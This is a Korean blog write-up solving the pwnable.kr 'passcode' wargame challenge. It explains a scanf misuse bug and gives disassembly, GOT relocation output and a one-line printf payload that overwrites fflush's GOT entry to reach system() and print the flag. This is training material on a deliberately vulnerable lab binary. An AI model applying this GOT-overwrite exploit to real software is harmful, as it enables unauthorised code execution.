White Security
Passcode 문제풀이 본문
Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that? ssh passcode@pwnable.kr -p2222 (pw:guest)
Toddler's Bottle 5번 문제입니다.
c 언어로 작성한 로그인 프로그램에 문제가 있다고 하네요.
#include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); printf("%d", passcode) if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; }
welcome() 에서 이름을 받아 출력한 후에
login() 에서 인증을 수행하고 있군요.
scanf("%d", passcode1); ... scanf("%d", passcode2);
문제가 되는 부분입니다.
본래 scanf 에서는 "&passcode1" 과 같은 형식으로
변수의 주소를 인자로 받아야 하는데
값을 넘기고 말았습니다.
입력할 수 있는 주소를 정수 인자로 전달하면
입력할 메모리 주소 지정이 가능하니
잘 이용하면 인증 우회를 유도할 수 있을 것 같습니다.
Dump of assembler code for function welcome: 0x08048609 <+0>: push ebp 0x0804860a <+1>: mov ebp,esp 0x0804860c <+3>: sub esp,0x88 0x08048612 <+9>: mov eax,gs:0x14 0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax 0x0804861b <+18>: xor eax,eax 0x0804861d <+20>: mov eax,0x80487cb 0x08048622 <+25>: mov DWORD PTR [esp],eax 0x08048625 <+28>: call 0x8048420 <printf@plt> 0x0804862a <+33>: mov eax,0x80487dd 0x0804862f <+38>: lea edx,[ebp-0x70] 0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx 0x08048636 <+45>: mov DWORD PTR [esp],eax 0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt> 0x0804863e <+53>: mov eax,0x80487e3 0x08048643 <+58>: lea edx,[ebp-0x70] 0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx 0x0804864a <+65>: mov DWORD PTR [esp],eax 0x0804864d <+68>: call 0x8048420 <printf@plt> 0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc] 0x08048655 <+76>: xor eax,DWORD PTR gs:0x14 0x0804865c <+83>: je 0x8048663 <welcome+90> 0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt> 0x08048663 <+90>: leave 0x08048664 <+91>: ret
welcome 함수를 살펴보면
ebp - 0x70 주소를 인자로 scanf 함수를 사용하고 있습니다.
ebp - 0x70 이 "char name[100]" 시작 부분이 되겠네요.
또한 "%100s" 를 통해 최대 100자로
바이트수를 제한하고 있으므로
입력할 수 있는 메모리 범위는
[ ebp - 0x70, ebp - 0xc ) 가 됩니다.
Dump of assembler code for function login: 0x08048564 <+0>: push ebp 0x08048565 <+1>: mov ebp,esp 0x08048567 <+3>: sub esp,0x28 0x0804856a <+6>: mov eax,0x8048770 0x0804856f <+11>: mov DWORD PTR [esp],eax 0x08048572 <+14>: call 0x8048420 <printf@plt> 0x08048577 <+19>: mov eax,0x8048783 0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10] 0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx 0x08048583 <+31>: mov DWORD PTR [esp],eax 0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt> 0x0804858b <+39>: mov eax,ds:0x804a02c 0x08048590 <+44>: mov DWORD PTR [esp],eax 0x08048593 <+47>: call 0x8048430 <fflush@plt> 0x08048598 <+52>: mov eax,0x8048786 0x0804859d <+57>: mov DWORD PTR [esp],eax 0x080485a0 <+60>: call 0x8048420 <printf@plt> 0x080485a5 <+65>: mov eax,0x8048783 0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc] 0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx 0x080485b1 <+77>: mov DWORD PTR [esp],eax 0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt> 0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799 0x080485c0 <+92>: call 0x8048450 <puts@plt> 0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6 0x080485cc <+104>: jne 0x80485f1 <login+141> 0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9 0x080485d5 <+113>: jne 0x80485f1 <login+141> 0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5 0x080485de <+122>: call 0x8048450 <puts@plt> 0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af 0x080485ea <+134>: call 0x8048460 <system@plt> 0x080485ef <+139>: leave 0x080485f0 <+140>: ret 0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd 0x080485f8 <+148>: call 0x8048450 <puts@plt> 0x080485fd <+153>: mov DWORD PTR [esp],0x0 0x08048604 <+160>: call 0x8048480 <exit@plt>
다음으로 login 함수를 살펴보겠습니다.
ebp - 0x10 가 첫 scanf 의 인자로 사용된 것을 보아
[ ebp - 0x10, ebp - 0xc ) 가 passcode1 의
메모리 범위 라는 것을 알 수 있습니다.
welcome 함수에서 사용했던
char name[100] 메모리의 뒷 4 바이트와 동일합니다.
바로 뒤에 fflush 함수가 존재하므로
GOT Overwrite 기법을 사용하여
인증 우회가 가능하겠군요.
passcode@ubuntu:~$ objdump -R passcode passcode: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a02c R_386_COPY stdin@@GLIBC_2.0 0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0 0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0 0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4 0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0 0804a010 R_386_JUMP_SLOT system@GLIBC_2.0 0804a014 R_386_JUMP_SLOT __gmon_start__ 0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0 0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
objdump 를 이용해
fflush의 GOT 주소를 확인할 수 있었습니다.
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af 0x080485ea <+134>: call 0x8048460 <system@plt>
GOT 주소를 system()의
인자를 전달하는 부분의 주소로 바꾸어 두면
passcode@ubuntu:~$ printf "%096d\x04\xa0\x04\x08 134514147" | ./passcode Toddler's Secure Login System 1.0 beta. enter you name : Welcome 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000! Sorry mom.. I got confused about scanf usage :( enter passcode1 : Now I can safely trust you that you have credential :)
cmp를 거치지 않고 플래그의 확인이 가능합니다.
134514147은 system()의 시작 주소값인
0x080485e3 scanf %d 형식에 맞춰
10진수 정수로 입력한 것입니다.
'Wargame Writeups > pwnable.kr' 카테고리의 다른 글
Input 문제풀이 (0) | 2019.02.07 |
---|---|
Random 문제풀이 (0) | 2019.02.06 |
Flag 문제풀이 (0) | 2019.02.05 |
Bof 문제풀이 (0) | 2019.02.05 |
Collision 문제풀이 (1) | 2019.02.04 |